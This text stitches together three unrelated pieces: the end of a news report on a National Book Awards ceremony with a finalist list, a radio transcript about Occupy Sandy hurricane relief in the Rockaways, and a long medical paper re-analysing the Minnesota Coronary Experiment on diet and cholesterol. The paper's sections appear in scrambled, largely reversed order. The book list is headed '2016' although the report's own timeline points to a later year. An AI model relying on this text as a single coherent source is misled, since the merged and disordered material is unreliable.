signalled a shift in direction for the awards, whose judges tended to favour more obscure choices rather than well-known writers covering topical issues. Colson Whitehead’s The Underground Railroad won last year and was published by Oprah Winfrey’s imprint. Other award winners on Wednesday night included the former National Book Award winner Annie Proulx, who was given the medal for distinguished contribution to American letters, and Dick Robinson, president and chief executive of Scholastic, who received the literarian award for outstanding service to the American literary community. The former US president Bill Clinton gave Robinson his award, and Anne Hathaway (who featured in the adaptation of her short story Brokeback Mountain) gave a passionate introduction to Proulx, saying her work helped her to “welcome the tenderness of loss” and the “beauty and value of loss, which is to say life itself”. Receiving the award, Proulx said: “I didn’t start writing until I was 58. So if you’ve been thinking about it and putting it off – go ahead.” She then launched into a searing critique of contemporary life. She said that we’re living in a “Kafka-esque times” with “flicking threats of nuclear war” and that humans are stripping the Earth of its natural resources and urged the audience to get involved in citizen science projects to protect the natural environment. The 2016 National Book Award finalists and winners Fiction Dark at the Crossing, by Elliot Ackerman The Leavers, by Lisa Ko Pachinko, by Min Jin Lee Her Body and Other Parties: Stories, by Carmen Maria Machado Sing, Unburied, Sing, by Jesmyn Ward Nonfiction Never Caught: The Washingtons’ Relentless Pursuit of Their Runaway Slave, Ona Judge, by Erica Armstrong Dunbar The Evangelicals: The Struggle to Shape America, by Frances FitzGerald The Future Is History: How Totalitarianism Reclaimed Russia, by Masha Gessen Killers of the Flower Moon: The Osage Murders and the Birth of the FBI, by David Grann Democracy in Chains: The Deep History of the Radical Right’s Stealth Plan for America, by Nancy MacLean Poetry Half-light: Collected Poems 1965-2016, by Frank Bidart The Book of Endings, by Leslie Harrison WHEREAS, by Layli Long Soldier In the Language of My Captor, by Shane McCrae Don’t Call Us Dead: Poems, by Danez Smith Young people’s literature What Girls Are Made Of, by Elana K Arnold Far from the Tree, by Robin Benway I Am Not Your Perfect Mexican Daughter, by Erika L Sánchez Clayton Byrd Goes Underground, by Rita Williams-Garcia American Street, by Ibi Zoboi -This is a rush transcript. Copy may not be in its final form. MIKE BURKE: Interestingly, one of the more active relief efforts that we came across in the Rockaways was done by a group calling themselves Occupy Sandy Relief. And this is a group of—pretty much of alumni from Occupy Wall Street who started organizing really in the hours after the storm, about ways that just, you know, regular members of the community could help. And we talked to one organizer named Catherine Yeager. She lives in the Rockaways, and we talked to her outside of the—a restaurant called the Veggie Island, which had been transformed into a relief hub. And this is part of what she had to say. CATHERINE YEAGER: My name is Catherine Yeager. I moved down to the Rockaway in March of this last year. I am good friends with Elizabeth Gilchrist, who owns Veggie Island. I have a bungalow down on 89th Street, and I was here for the entire hurricane. You know, it’s been a whirlwind. We’ve been trying as much as possible to organize things. We’ve been putting food out as much as possible. Lots of stuff has been coming in. And I just love Rockaway, and I want it back to where it was before the storm. MIKE BURKE: So what’s happening behind you right now? CATHERINE YEAGER: What’s happening behind me right now is basically we’re working with Sandy Relief and OWS. The people are bringing by the car loads in clothes, food, cans goods, diapers, batteries, flashlights, everything under the sun, you know, that we kind of need right now. And so, people are able to come up and sort of pick through the different things they need, be handed the things. We have warm food that we’re making all the time for people. And so, it’s really, essentially—I mean, we have cars that come in, and things are dropped off, and within 30 minutes it’s all gone. You know, I mean, it’s that desperate down here. People have literally lost everything. Right now, the biggest issue that we need is generators, and we need pumps, because we can’t get the electricity turned back on until all of the basements are pumped out. And there’s still—if you walk Rockaway and you knock on any door, someone—every single door, someone is going to need help. The water that came in is toxic, OK? We had water from the beach. I watched the waves that morning. They were already incredibly dirty. The bay and the ocean met every single part of Rockaway during the storm. There was at least two feet of flooding everywhere, sometimes up to six or seven feet of flooding, depending on where you lived. Everyone’s been affected, doesn’t matter who you are, doesn’t matter where you are. Every single person’s been affected. And so, a lot of right now is getting those basements pumped out, debris getting pulled out, you know, sweeping out huge chunks of just gunk and junk, and trying to figure out where it all goes. The boardwalk is destroyed. You know, I watched the boardwalk out my window come rushing down. The water level here got up to about five feet, and the winds were almost 20 miles per hour, so it looks like the ocean coming through this entire place. I watched cars rolling down the street. I mean, it was—it was scary. And out the window, you could see the fire. You could see this huge flame of fire coming from Breezy Point. And they really—I mean, there were, I think, 80 homes lost over there—and just devastated. So, the last couple days have been very inspiring, because we’ve had so many people coming. People are starting to realize that Rockaway was hit as bad as it was hit, and they’re coming to start helping and starting to think about us a little bit more. So, we’ll see what happens. I don’t know when we’re going to get electricity back. I don’t know. A lot of the people’s homes are heated by baseboard heaters, and it’s just—this is salt water we’re talking about. So salt water is going to kill everything, you know? Anything, any kind of tools or cars or anything that runs on these different motors or electricity, when that salt water hits it, it’s destroyed, you know? MIKE BURKE: Now, how are the relief efforts that are taking place here different from what we’re seeing with FEMA and the National Guard down the street? CATHERINE YEAGER: FEMA down the street, from what I understand, is handing out pieces of paper that tell you to call a phone number to get help. Here, you come, and you get help immediately. We’re going to start organizing and having people come down with their—we’re encouraging people who come down and want to do manpower help, bring your own cleaning supplies. Be your own self-sufficient cleaning person, so that we can start sending you to homes, and you just knock on the door, and you can go in, and you can start cleaning. You don’t have to come here and grab cleaning supplies. You’ve got your own to go out. We’re going to start trying to put signs up at the ends of streets and do red flags, so that people can put red flags out if they do need help, so that we have a better idea of who’s doing things on their own, who’s OK, who’s not. You know what I mean? Because it’s hard. You walk around, and it’s just such devastation that you don’t even quite know where to start. And sometimes when it’s that overwhelming, you don’t quite know where to go. FEMA is providing cellphone charging down there, but you’ve got to wait in line—I don’t know—for an hour to be able to get your cellphone plugged in, you know? Besides that, I don’t know what they’re doing. You know? I’ve seen some cleanup. There was definitely a lot of the boardwalk that’s been moved. But, you know, nothing that I would—I’m sure is happening on Wall Street or cleanup that’s happening in other parts of Manhattan, you know? MIKE BURKE: Speaking of Wall Street, what is the connection with Occupy Wall Street and this relief effort? CATHERINE YEAGER: Sandy Relief—basically, you know, Occupy Wall Street were one of the main people who started immediately knowing that Rockaway was the one that was the hardest hit. I was contacted pretty much immediately from friends of mine who are in Occupy Wall Street, like Bobby and Olivia Katz, you know, who contacted me and were reaching out and saying, “We want to bring Occupy down there. We want to help with the relief effort,” you know? And it’s—they’ve been the only ones that I—that have really helped, you know what I mean? And really been able to make real, tangible things that are going on right now. We’ve been open since 8:00 this morning. We have been giving things away all day long. People are walking away with smiles on their faces. People are able to, you know, for one night be able to not be in a totally dark room, because they’ve gotten flashlights. You know, they have warm clothes for their children. They have clean diapers, you know. They’re going to actually be able to eat tonight. MIKE BURKE: Amy, that was Catherine Yeager. I spoke to her in the Rockaways on Friday outside Veggie Island, which had been transformed into this really impressive relief hub. While we were there, there were several cars that came by. They were able to ask for specific items, and then volunteers would search the building. In one case, someone asked for baby food, which is something that FEMA and the National Guard did not have down the street. And they had a box of baby food. They were able to run it out to the car and give it to them, and they drove off with the baby food. It’s interesting. There was an article in Slate yesterday titled “Is Occupy Wall Street Outperforming the Red Cross in Hurricane Relief?” AMY GOODMAN: Well, that’s an interesting question. We’re going to go to break, and when we come back, we’re going to Staten Island, where the Staten Island borough president has said, stop supporting the Red Cross. Stay with us. -Conclusions Available evidence from randomized controlled trials shows that replacement of saturated fat in the diet with linoleic acid effectively lowers serum cholesterol but does not support the hypothesis that this translates to a lower risk of death from coronary heart disease or all causes. Findings from the Minnesota Coronary Experiment add to growing evidence that incomplete publication has contributed to overestimation of the benefits of replacing saturated fat with vegetable oils rich in linoleic acid. Results The intervention group had significant reduction in serum cholesterol compared with controls (mean change from baseline −13.8% v −1.0%; P<0.001). Kaplan Meier graphs showed no mortality benefit for the intervention group in the full randomized cohort or for any prespecified subgroup. There was a 22% higher risk of death for each 30 mg/dL (0.78 mmol/L) reduction in serum cholesterol in covariate adjusted Cox regression models (hazard ratio 1.22, 95% confidence interval 1.14 to 1.32; P<0.001). There was no evidence of benefit in the intervention group for coronary atherosclerosis or myocardial infarcts. Systematic review identified five randomized controlled trials for inclusion (n=10 808). In meta-analyses, these cholesterol lowering interventions showed no evidence of benefit on mortality from coronary heart disease (1.13, 0.83 to 1.54) or all cause mortality (1.07, 0.90 to 1.27). Design The MCE (1968-73) is a double blind randomized controlled trial designed to test whether replacement of saturated fat with vegetable oil rich in linoleic acid reduces coronary heart disease and death by lowering serum cholesterol. Recovered MCE unpublished documents and raw data were analyzed according to hypotheses prespecified by original investigators. Further, a systematic review and meta-analyses of randomized controlled trials that lowered serum cholesterol by providing vegetable oil rich in linoleic acid in place of saturated fat without confounding by concomitant interventions was conducted. We analyzed recovered raw data according to hypotheses prespecified by the original study investigators (table 1 ⇑ ). Further, to put these MCE findings into context, we conducted a systematic review and meta-analysis of all available randomized controlled trials that specifically tested whether replacement of saturated fat with linoleic acid rich oils reduces risk of death from coronary heart disease and all cause mortality. We recovered raw MCE data, including previously unpublished records of serum cholesterol and autopsy reports (table 1 ⇑ and fig 2 ⇓ ), and an extensive collection of study documents, including a 1981 master’s thesis by S K Broste. The Broste thesis, which includes detailed survival analyses for the full randomized cohort and for the prespecified age and sex subgroups, has never previously been cited or considered part of the scientific evidence base ( http://www.psych.uic.edu/download/Broste_thesis_1981.pdf ). Despite the potential importance of this trial, critical analyses prespecified by the original MCE investigators have not been previously published or considered part of the evidence base (table 1 ⇓ ). For example, we do not yet know the effects of the serum cholesterol lowering intervention in prespecified subgroups; the association between longitudinal changes in serum cholesterol and risk of death; or the effects of the intervention on any autopsy endpoints. The Minnesota Coronary Experiment (MCE), a randomized controlled trial conducted in 1968-73, was the largest (n=9570) and perhaps the most rigorously executed dietary trial of cholesterol lowering by replacement of saturated fat with vegetable oil rich in linoleic acid. The MCE is the only such randomized controlled trial to complete postmortem assessment of coronary, aortic, and cerebrovascular atherosclerosis grade and infarct status and the only one to test the clinical effects of increasing linoleic acid in large prespecified subgroups of women and older adults. Only a handful of randomized controlled trials have ever causally tested the traditional diet-heart hypothesis. The results for two of these trials were not fully reported. Our recovery and 2013 publication of previously unpublished data from the Sydney Diet Heart Study (SDHS, 1966-73) belatedly showed that replacement of saturated fat with vegetable oil rich in linoleic acid significantly increased the risks of death from coronary heart disease and all causes, despite lowering serum cholesterol. 14 Our recovery of unpublished documents and raw data from another diet-heart trial, the Minnesota Coronary Experiment, provided us with an opportunity to further evaluate this issue. Fig 1 Traditional diet-heart hypothesis. Solid line indicates that causal relation has been established by randomized controlled trials (A); dashed lines indicate that no causal relation has been established (B and C). A=randomized controlled trials show that replacement of saturated fat with vegetable oils rich in linoleic acid lowers serum total cholesterol and LDL; B=intermediate endpoints related to serum cholesterol are robustly associated with risk of coronary heart disease events and deaths in observational studies; C= randomized controlled trials have tested whether replacement of saturated fat with linoleic acid reduces coronary heart disease events or deaths; none have shown significant benefit The traditional diet-heart hypothesis 1 2 predicts that the serum cholesterol lowering effects of replacing saturated fat with vegetable oil rich in linoleic acid will diminish deposition of cholesterol in the arterial wall, 3 4 slow progression of atherosclerosis, 5 reduce coronary heart disease events, and improve survival. 6 7 This diet-heart paradigm is supported by evidence from randomized controlled trials showing that replacement of saturated fat with linoleic acid lowers serum total cholesterol and low density lipoprotein 8 9 10 11 12 and by observational evidence linking serum cholesterol to coronary heart disease events and deaths (fig 1 ⇓ ). 13 Despite these compelling relations, no randomized controlled trial has shown that replacement of saturated fat with linoleic acid significantly reduces coronary heart disease events or deaths (fig 1 ⇓ ). A key component of dietary guidelines has long been to replace saturated fat with oils rich in linoleic acid (such as corn oil, sunflower oil, safflower oil, cottonseed oil, or soybean oil). This advice is based on the traditional diet-heart hypothesis prediction that replacement decreases coronary heart disease and all cause mortality. Thus, we followed PRISMA standards 23 for reporting a systematic review and meta-analysis of randomized controlled trials that specifically tested whether replacement of saturated fat with vegetable oil rich in linoleic acid decreases mortality from coronary heart disease and all cause mortality. Included in the main analysis were all serum cholesterol lowering randomized controlled trials since 1950 with publication in English that randomly assigned individual participants; provided an intervention of vegetable oil rich in linoleic acid in place of saturated fat, compared with a usual care control diet; were not confounded by the addition of large quantities of n-3 EPA (eicosapentaenoic acid) and DHA (docosahexaenoic acid) or by other major concomitant interventions (such as complex changes in diet pattern) or unequal intensity of medical management (such as advice on smoking cessation or control of blood pressure); and reported deaths from coronary heart disease or all causes. Hence, we excluded randomized controlled trials that provided large quantities of n-3 EPA and DHA or provided advice only without provision of linoleic acid rich oils from the main analysis, and studies with only biochemical or intermediate endpoints. Sensitivity analyses included diet-heart randomized controlled trials that also provided large quantities of n-3 EPA and DHA or provided advice only without provision of a linoleic acid rich study oil but otherwise met the inclusion and exclusion criteria for the main analysis. As we recovered only 149 of the original 295 autopsy files, our analysis of the effects of the serum cholesterol lowering diet on atherosclerotic progression and myocardial infarcts confirmed at autopsy should be considered provisional until the complete autopsy data are recovered. We calculated incidence rate ratios for the presence of at least one autopsy confirmed myocardial infarct according to diet group. We used linear regression to examine whether assignment to diet group or changes in serum cholesterol concentration were associated with coronary or aortic atherosclerosis. We used logistic regression to examine the association between serum cholesterol concentration and the presence of at least one autopsy confirmed myocardial infarct. For our main analysis, we used Cox regressions for death as a function of continuous time varying serum cholesterol (up to 12 repeated measures on each participant) and adjusted for clustering within hospital. We used Schoenfeld residuals to test the proportional hazards assumption and martingale residuals to assess model fit. We present results from crude models, models adjusted for relevant variables including age, sex, blood pressure, BMI, and adherence to diet (percent of missed meals), and sensitivity analyses further adjusting for time varying changes in BMI and systolic blood pressure. All models were tested for effect modification by diet group. For simplicity, we have shown hazard ratios for each 30 mg/dL (0.78 mmol/L) decrease in serum cholesterol. First, we provide a crude visual representation of the association between cholesterol and death by graphing the distribution of change in total serum cholesterol concentration (using the average of measurements for each participant before and after randomization) along with the number and percentage of deaths followed by plots of age adjusted logistic regression models. Our analyses used longitudinal data for the 2355 participants who received the intervention diet for a year or more and were carried out in Stata version 13.1. To determine the effect of the dietary intervention on serum cholesterol, we analyzed group differences in serum cholesterol over time using a generalized estimating equation model with time × group interaction. Fig 4 MCE flow diagram. *16 825 participants completed MCE form No 011 (tape 4 data, appendix part 1); †Broste thesis reports that 9570 participants were randomized and that 147 dropped out prior to diet exposure, 1975 abstract and 1989 manuscript reported that 9449 and 9057 participants were randomized, respectively; ‡longitudinal serum cholesterol data recovered for 2355/2403 randomized participants exposed to diet for one year or more (tape 2 data, appendix part 1); ¶autopsy files with aortic and coronary atherosclerosis and infarct data recovered for 149/295 completed autopsies We were unable to recover the complete MCE dataset including all randomized participants. Thus, we could not conduct a traditional randomized controlled trial analysis to determine the effect of randomization. We do, however, include the life table graphs from the 1981 Broste thesis. A thorough explanation of methods and results can be found on pages 21-49 of the Broste thesis ( http://www.psych.uic.edu/download/Broste_thesis_1981.pdf ). For context, we include a CONSORT flow diagram (fig 4 ⇓ ). The degree of aortic atherosclerosis was graded from 1 to 7 according to the technique devised by the Committee on Grading of Lesions of the Council of Atherosclerosis of the American Heart Association 20 and recorded on form No 10 (appendix 2). Each aorta was graded independently by two observers without knowledge of age, sex, diagnosis, hospital of origin, or diet group. An aortic atherosclerosis score variable was created by taking the average of the two measures for each individual. The degree of coronary atherosclerosis and mapping of myocardial infarcts were evaluated by the multiple cross section technique as described by Spiekerman and colleagues. 20 21 At each of 16 coronary vessel sites, vessel narrowing was scored on a 4 point scale based on the percentage closure of the coronary lumen with 1, 2, 3, and 4 signifying <25%, 25-50%, 50-75%, and 100%, respectively. These data were recorded on MCE form No 8 (appendix 2). Scores at each site were summed to calculate a total coronary atherosclerosis score (range 16-64). Subendocardial and transmembrane infarcts were identified after the ventricles were cut into transverse sections and recorded on MCE form No 9 (appendix 2). The MCE grant proposal, supplements, and FORTRAN coding sheets 6 19 20 21 included detailed plans for analysis of autopsy data, and a 9-track magnetic tape file with full autopsy data (MCE Tape #380) (appendix part 1) was known to exist. To our knowledge, however, no autopsy results have ever been published or reported. According to the 1989 publication, 57.1% (corresponding to 295 of the 517 reported deaths) of participants who died during the experimental dietary intervention phase underwent autopsy. Hearts, aortas, and brains were sent to the University of Minnesota for blinded grading by university pathologists. We recovered heart and aorta autopsy files for 149 out of these 295 completed autopsies. The remaining autopsy files remain unaccounted for. MCE investigators categorized fatal and non-fatal events into 10 categories (table C in the appendix). They used a conservative approach to attribute the cause of death to coronary heart disease. The MCE team noted “reluctance to classify a death in this category unless objective evidence is at hand.” Close attention was therefore directed to the overall death rate as “atherosclerosis may contribute to many deaths in which no actual fresh myocardial infarct or coronary occlusion has occurred.” 6 20 We recovered data on all cause mortality but did not recover data on non-fatal events or deaths from coronary heart disease. Data on coronary heart disease deaths in relation to intermediate endpoints existed, however, and were reported in the 1981 Broste thesis. MCE investigators hypothesized that the clinical effects of lowering serum cholesterol would take substantial time to manifest and thus placed special emphasis on the subgroup of participants exposed to the study diets for a year or more. 6 15 19 20 MCE investigators chose not to measure serum cholesterol in the whole sample of participants exposed to diets for less than a year because they “remained in the hospital for too short a time to contribute significantly to the results.” 15 Based on recovered data, 2403 MCE participants were exposed to study diets for a year or more. We recovered longitudinal data on serum total cholesterol for 2355 (98%) of these participants. In addition to pre-randomization measures, participants had an average of six follow-up measurements of serum cholesterol. On study entry and at six month intervals thereafter throughout both the pre-randomization and randomized controlled trial phases, a project technician carried out a brief evaluation of the participant’s risk status, 6 fasting serum was sealed under nitrogen and stored at −20°C, and an electrocardiogram was obtained. Fifteen MCE forms were devised for recording the data from the hospitals and laboratories (appendix 2). The data collected on these forms and the adherence data collected on the punch cards were transferred to magnetic tapes for later analysis. Study foods were designed to appear similar in both groups. Both diets were served in a single line. Each study participant received his or her group specific food tray based on a unique computer generated code number, which was designed to be incomprehensible to the participants but easily interpreted by the food servers. 15 Twenty one labels were printed out for each participant each week. Labels remaining on the sheet were used to record missed meals, which were transferred to a “Port-o-Punch card” for later assessment of the correlation between adherence (defined as the percentage of meals received) and cholesterol response. The original hospital inpatient population was randomized according to a stratified randomization scheme with 512 cells on the basis of eight variables (age, sex, length of stay in the hospital, weight, blood pressure, diabetes, cigarette smoking, and electrocardiographic evidence of previous myocardial infarction). When new patients were admitted to a hospital after the diet start date, the stratified randomization scheme used four cells, according to age and sex. 15 We did not recover specific details on implementation of randomization and concealment of allocation. The control MCE diet was patterned after the “D” diet of the National Diet Heart Study. It was designed to appear similar to the experimental diet. Notably, free surplus USDA food commodities including common margarines and shortenings were key components of the control diet, making the daily per participant allocation from the state of Minnesota adequate to cover the full costs. 2 15 16 As common margarines and shortenings of this period were rich sources of industrially produced trans fatty acids, 23 24 25 the control diet contained substantial quantities of trans fat. Compared with the pre-randomization hospital diet, the control diet did not change saturated fat intake but did substantially increase linoleic acid intake (by about 38%, from 3.4% to 4.7% of calories). Based on this increase in dietary linoleic acid alone, the Keys equation predicts that the control diet would lower average serum cholesterol compared with baseline (fig 3 ⇑ and table 2 ⇑ ). This reduction, however, would be modest compared with the reduction in the intervention group. The MCE experimental serum cholesterol lowering diet was derived from the “BC” diet of the institutional arm of the National Diet-Heart Feasibility Study at Faribault Hospital. 2 6 15 16 20 22 Liquid corn oil was used in place of the usual hospital cooking fats (including hydrogenated oils) and was also added to numerous food items (for example, salad dressings, filled beef (lean ground beef with added oil), filled milk, and filled cheeses). Soft corn oil polyunsaturated margarine was used in place of butter. This intervention produced a mean reduction in dietary saturated fat by about 50% (from 18.5% to 9.2% of calories) and increased linoleic acid intake by more than 280% (from about 3.4% to 13.2% of calories) 15 16 (fig 3 ⇑ ). Hospital specific fatty acid compositions based on chemical analysis of a three week supply of study foods in 1971 are shown in part 1 of the appendix. There was substantial variability in study diets between hospitals, with saturated fat ranging from 8.0% to 12.3% and linoleic acid ranging from about 11.3% to 16.5% of calories. Saturated fat, however, was markedly reduced, and linoleic acid was markedly increased, in each hospital. Based on the average dietary changes, the Keys equation predicts that the MCE intervention diet would produce a marked reduction in serum cholesterol concentration (fig 3 ⇑ and table 2 ⇓ ). Fig 3 Linoleic acid and saturated fat compositions of MCE control and intervention group diets. Values in figure are based on chemical analysis of study foods. 16 Intervention group reduced saturated fat intake by about 50% and increased linoleic acid intake by >280%. Control group maintained high saturated fat intake but increased linoleic acid intake by about 38%. Based on Keys equation, these diet changes are predicted to lower cholesterol in both groups (table 2 ⇓ ) Prior to randomization, each hospital’s food production program was covered by free provision of surplus USDA food commodities (common margarine, shortening, skim milk, flour, and rice) and Minnesota state funding. 6 The average baseline hospital diet provided 18.5% and 3.8% of calories as saturated fatty acids and polyunsaturated fatty acids, respectively 16 (fig 3 ⇓ ). Based on the traditional distribution of polyunsaturated fatty acid species in US diets (about 90% of which are linoleic acid), this baseline hospital diet provided about 3.4% of calories as linoleic acid. The experimental dietary intervention phase, which was initiated over a 15 month period according to start dates of hospital specific diets, lasted for a maximum of 56 months. The start dates and duration of diet for each hospital are presented in table B in the appendix. Participants were followed up only while they were inpatients at the study hospitals. Participants who were admitted to a given hospital after its respective diet phase was underway completed baseline risk assessment, electrocardiographic testing, and serum collection before they started the study diets. The randomized controlled trial phase was preceded by a 33 month pre-randomization observational phase (February 1966 to November 1968), during which the study team characterized the hospital populations, developed and refined procedures for diet delivery, baseline and follow-up visits, sick visits, blood collection, electrocardiograms, and postmortem examination, as well as the data collection and management plans. The recovered documents did not contain a traditional sample size calculation. This was likely because of the lack of a prespecified primary endpoint. We did recover multiple power calculations with different endpoints and assumptions, which provide ranges for adequate sample sizes. For example, based on epidemiological associations between serum cholesterol and coronary heart disease events in non-randomized cohorts, the MCE investigators applied the Cornfield equation [risk = k(serum cholesterol) n ] to predict that between 2490 and 11 645 participants would be required to “obtain a difference in 5 years significant at the 95% confidence level” with α=β=0.05. 19 Based on the rate of strictly defined deaths from coronary heart disease observed during the MCE observational phase, and the elimination of all participants staying in the hospital less than a year, the estimated duration of the experiment required to assess the efficacy of the intervention was 3.6 years (with α=β=0.05). 20 These calculations were made to allow 95% power; typical β used in randomized controlled trials today is 0.20, which allows for 80% power. There was no single prespecified primary outcome for this randomized controlled trial in any of the records we recovered, including the R01 grant application, detailed supplementary progress reports, and an extensive collection of FORTRAN coding sheets. In each of these documents, an emphasis was placed on total deaths, deaths from coronary heart disease, and non-fatal coronary heart disease events. According to the MCE R01 grant proposal entitled “Effect of a Dietary Change on Human Cardiovascular Disease,” the project objective was to “provide evidence concerning the possibility of reducing the incidence of clinical manifestations of atherosclerosis by dietary modification.” 6 The MCE team planned to test whether the dietary intervention reduced coronary heart disease events and deaths in the total population and in prespecified subgroups of women, men, ages ≥65 and <65, and participants with and without established coronary heart disease (primary and secondary prevention), with a special emphasis on participants exposed to study diets for a year or longer. 6 19 20 21 We obtained approval from the NIH Office of Human Research Protection (OHSRP #5743) and collaboration from Robert Frantz to recover, analyze, and interpret de-identified MCE data and study related materials stored on two 9-track magnetic tapes (see appendix fig A) and an extensive collection of paper documents, including numerous green-bar paper files, paper autopsy folders, original and supplementary grant proposals, data collection forms, and FORTAN coding sheets. Part 1 of the appendix describes the methods used to recover data, convert into a useable format, verify accuracy, and merge into a master file. For further validation, we compared each of the recovered MCE datasets with each other and with data reported in the 1989 study publication, 15 the 1981 master’s thesis (Broste S K, Lifetable analysis of the Minnesota Coronary Survey http://www.psych.uic.edu/download/Broste_thesis_1981.pdf ), 7 and 1975 conference proceedings, 16 17 18 as well as numerous other recovered MCE documents and data sources as described in part 1 of the appendix. Previous mentions of this study, including the recovered documents, refer to the “Minnesota Coronary Survey (MCS)” because prior to randomization there was an observational phase that lasted almost three years. We call it Minnesota Coronary Experiment (MCE) to emphasize that we are using the experimental, randomized controlled trial phase of the MCS. No patients were involved in setting the research question or the outcome measures, nor were they involved in developing plans for design or implementation of the study. No patients were asked to advise on interpretation or writing up of results. There are no plans to disseminate the results of the research to study participants or the relevant patient community. The MCE was approved by the clinical research committee of the University of Minnesota and by each of the seven collaborating hospitals. 15 No consent forms were required because the study diets were considered to be acceptable as house diets and the testing was considered to contribute to better patient care. 15 Prior to beginning the diet phase, the project was explained and sample foods were served. Residents were given the opportunity to decline participation. Non-participants were served the control diet and did not provide blood samples or undergo electrocardiography. We were not able to recover a detailed description of the MCE autopsy consent procedure. According to the 1989 publication, 42.9% (corresponding to 222 of the 517 reported deaths) of those who died did not undergo autopsy, which was almost always because of “refusal by relatives or inability to contact relatives.” 15 The MCE was a double blinded, parallel group, randomized controlled dietary intervention trial, designed to evaluate the effects of increasing n-6 linoleic acid from corn oil in place of saturated fat for primary and secondary prevention of cardiovascular events and deaths, and for reducing the degree of coronary, aortic, and cerebrovascular atherosclerosis, and the number of myocardial infarcts and strokes detected at autopsy. It was conducted from 1968 to 1973 in the state of Minnesota, United States. Eligible participants were men and women aged ≥20 admitted to either the Oak Terrace Nursing Home or one of six state mental hospitals (Anoka, Fergus Falls, Hastings, Moose Lake, Saint Peter, Willmar). The experiment lasted from 41 to 56 months, depending on the hospital. The experiment was funded by the US Public Health Service and National Heart Institute through the R01 mechanism (HE 09686), with Ivan Frantz as principal investigator and Ancel Keys as co-principal investigator. Fig 7 Meta-analysis for mortality from coronary heart disease in trials testing replacement of saturated fat with vegetable oils rich in linoleic acid. Main analysis: trials provided replacement foods (vegetable oils) and were not confounded by any concomitant interventions. Sensitivity analysis: includes trials that provided advice only and/or were confounded by addition of n-3 EPA and DHA. Risk ratios were used as estimates of hazard ratios in MCE, RCOT, LA Vet, and MRC-Soy. MCE=Minnesota Coronary Experiment; SDHS=Sydney Diet Heart Study; RCOT=Rose Corn Oil Trial; LA Vet=Los Angeles Veterans Trial; MRC-Soy=Medical Research Council Soy Oil Trial; DART=Diet and Re-infarction Trial; ODHS=Oslo Diet Heart Study; STARS=St. Thomas Atherosclerosis Regression Study; LA=linoleic acid; SFA=saturated fat; ALA=α linolenic acid; EPA=eicosapentaenoate; DHA=docosahexaenoate The complete systematic review and meta-analysis following PRISMA guidelines is presented in appendix part 2. Briefly, out of 1270 screened records we identified only five randomized controlled trials that provided vegetable oil(s) rich in linoleic acid in place of saturated fat and were not confounded by unequal application of concomitant interventions. These five trials included 10 808 participants, 324 deaths attributed to coronary heart disease, and 1001 deaths from all causes (table K and L in appendix). The mean change in serum cholesterol concentration in the course of the randomized controlled trials ranged from 7.8% to 13.8% lower in the intervention versus control groups. In meta-analyses of these five trials, there was no evidence of benefit on mortality from coronary heart disease (hazard ratio 1.13, 95% confidence interval 0.83 to 1.54) (fig 7 ⇓ ) or all cause mortality (1.07, 0.90 to 1.27) (fig D and E in appendix). In a sensitivity analysis, inclusion of three additional diet-heart trials that provided advice only and/or were confounded by the provision of large quantities of n-3 EPA+DHA did not appreciably alter results for mortality from coronary heart disease (1.00, 0.81 to 1.24) (fig 7 ⇓ ) or all cause mortality (1.00, 0.87 to 1.15) (figs H and I in appendix). In sensitivity analyses that included non-fatal endpoints, there was no indication of benefit from the replacement of saturated fat with vegetable oils rich in linoleic acid, with either a composite outcome of myocardial infarcts plus death from coronary heart disease or non-fatal myocardial infarcts alone (fig K and L in appendix). Thus, although limited, available evidence from randomized controlled trials provides no indication of benefit on coronary heart disease or all cause mortality from replacing saturated fat with linoleic acid rich vegetable oils. MCE investigators hypothesized that participants in the intervention group would have fewer myocardial infarcts confirmed by autopsy and less advanced atherosclerosis. In this autopsy cohort, however, 41% (31/76) of participants in the intervention group had at least one myocardial infarct, whereas only 22% (16/73) of participants in the control group did (incidence rate ratio 1.90, 95% confidence interval 1.01 to 3.72; P=0.035). Also, participants in the intervention group did not have less coronary atherosclerosis or aortic atherosclerosis (table 5 ⇓ ). These findings should be interpreted with caution because of partial recovery of autopsy files. There was no association between serum cholesterol and myocardial infarcts, coronary atherosclerosis, or aortic atherosclerosis in covariate adjusted models (table G in appendix). Characteristics of the partially recovered autopsy cohort are shown in table F in appendix; the intervention and control groups were well balanced at baseline, with no evident differences for any demographic, clinical, or laboratory variables. The mean age was 69.5, 36% were women, and the median follow-up was 298 days (316 days for intervention group, 217 days for control group). Baseline serum cholesterol concentration was 210 mg/dL. The mean change in serum cholesterol during follow-up was −17.9% in the intervention group and −1.3% in the control group. This finding that greater lowering of serum cholesterol was associated with a higher rather than a lower risk of death in the MCE does not provide support for the traditional diet-heart hypothesis. To explore the possibility that frailty (which is associated with both low cholesterol and death 28 29 ) could confound these results, we did a sensitivity analysis adjusting our Cox models (table 4 ⇑ ) for two known markers of frailty (changes in body weight and changes in systolic blood pressure). 28 29 30 These adjustments did not materially change the effect estimates, which remained significant in both groups. The higher risk of death associated with decreased serum cholesterol seems to be driven by the subgroup aged ≥65. Among participants who were older than 65 at baseline, a 30 mg/dL decrease in serum cholesterol was associated with 35% higher risk of death (hazard ratio 1.35, 95% confidence interval 1.18 to 1.54), whereas among people aged under 65 at baseline there was no relation between the change in serum cholesterol and death (1.01, 0.88 to 1.16). In survival analyses (table 4 ⇑ ), there was a robust association between decreasing serum cholesterol and increased risk of death, and this association did not differ between the intervention and control group (P>0.16 for all serum cholesterol × intervention interactions). Among both groups combined, a 30 mg/dL (0.78 mmol/L) decrease in serum cholesterol was associated with 22% higher risk of death from any cause (hazard ratio 1.22, 95% confidence interval 1.14 to 1.32) based on a Cox model adjusted for baseline serum cholesterol, age, sex, adherence to diet, BMI, and systolic blood pressure. Fig 6 Death from any cause and change in serum cholesterol in cohort that received diets for one year or more (n=2355). Panels indicate relations between change in serum cholesterol and number of participants, number of deaths, percent of deaths, and probability of death among intervention, control, and combined groups. Change in serum cholesterol calculated with average of measurements before and after randomization for each individual. Last row represents logistic model for death as function of average change in cholesterol, adjusted for age at baseline. Likelihood ratio test used to test effect modification by diet group (P=0.67) The traditional diet heart hypothesis predicts that participants with greater reduction in serum cholesterol would have a lower risk of death (fig 1 ⇑ , line B). MCE participants with greater reduction in serum cholesterol, however, had a higher rather than a lower risk of death. Figure 6 ⇓ provides a simplified visual representation of change in serum cholesterol and death in the intervention group, control group, and combined groups; table 4 ⇓ provides more advanced statistical analyses, with hazard ratios for crude, adjusted, and sensitivity models. The average change in serum cholesterol in the intervention, control, and combined groups was −31 (SD 31), −5 (SD 30), and −18 (SD 33) mg/dL, respectively (fig 6 ⇓ , top row). 